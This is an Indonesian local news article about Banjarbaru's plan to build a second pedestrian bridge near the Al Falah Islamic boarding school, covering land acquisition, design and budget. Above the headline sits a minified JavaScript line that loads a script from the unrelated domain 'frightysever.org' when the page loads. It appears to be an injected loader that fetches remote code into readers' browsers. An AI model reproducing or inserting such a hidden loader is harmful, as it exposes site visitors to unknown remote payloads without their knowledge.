(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Bakal Ada JPO Kedua di Banjarbaru, Ini Rencana Lokasinya

KANALKALIMANTAN.COM, BANJARBARU – Jembatan Penyeberangan Orang (JPO) akan kembali dibangun Pemerintah Kota (Pemko) Banjarbaru.

Pemko Banjarbaru berencana membangun jembatan layang khusus orang itu di Jalan A Yani Km 23, tepat di depan Pondok Pesantren Al Falah Landasan Ulin, Kota Banjarbaru.

Pembangunan JPO yang kedua ini direncanakan akan berlangsung pada tahun 2024 mendatang. Karena tahun 2023 ini Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru masih mengupayakan pembebasan lahan milik warga yang akan dibangun JPO.

Kepala Bidang Bina Marga Dinas PUPR Kota Banjarbaru, Adi Maulana mengatakan, JPO yang akan dibangun sekitar Ponpes Al Falah dengan desain lebih menonjolkan nuansa Islami.

Kepala Bidang Bina Marga Dinas PUPR Kota Banjarbaru, Adi Maulana. Foto: ibnu

Baca juga : Resmi Dibuka, Diberi Nama JPO Banjarbaru 2

“Ditargetkan 2024 mendatang,” ujar Adi Maulana, Kamis (12/1/2023) siang.

Diungkapkan Adi, sesuai rencana strategis (Resentra) 5 tahun Dinas PUPR Kota Banjarbaru akan membangun 2 buah JPO, pertama di Jalan A Yani Km 34 dan di Jalan A Yani Km 23.

Terkait JPO di Jalan A Yani Km 23, dikatakan Adi, Dinas PUPR Banjarbaru dalam proses asistensi konsultasi dengan Balai Jalan kemudian ke pabrik baja.

“Kita juga lagi menyelesaikan terkait lahannya,” katanya.

Lahan ini kata Adi, satu sisi di lahan milik Pondok Pesantren Al Falah dan sisi lainnya milik masyarakat. Pihaknya juga berupaya kepastian lahan ini dengan menghibahkan ke Pemko Banjarbaru.

“Dari pihak Al Falah secara lisan sudah bersedia untuk menghibahkan,” ungkapnya.

Diutarakan Adi, terkait pihaknya harus membebaskan lahan tersebut dikarenakan pihak Balai Jalan tidak memperbolehkan anak tangga berada di wilayah jalan miliknya. Sehingga mengharuskan turunan JPO ke tanah milik warga dan milik Ponpes Al Falah.

Dibeberkan Adi terkait desain JPO di Jalan A Yani Km 23 akan sangat berbeda dengan JPO Banjarbaru 2.

“Secara tiga dimensinya sudah ada, nanti menunggu arahan Wali Kota dulu,” bebernya.

Masih kata Adi, struktur JPO di Ponpes Al Falah ini akan menggunakan struktur baja, yang akan berbeda jauh dengan JPO Banjarbaru 2 yang bernuansa modern futuristik.

Pembangunan JPO di Jalan A Yani Km 23 ini ditargetkan Adi pada tahun 2024 mendatang dengan menyiapkan estimasi anggaran sekitar Rp 6-6,5 miliar.

“Kalau kami (PUPR) bisa menyelesaikan asistensi lebih cepat, tidak menutup kemungkinan akan melakukan lelang dini di Januari atau dianggaran perubahan,” tuntasnya.

Pembangunan JPO kedua di Banjarbaru yakni di Jalan A Yani Km 23 ini dengan maksud membantu masyarakat setempat, terutama bagi santri dan santriwati di Ponpes Al Falah. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie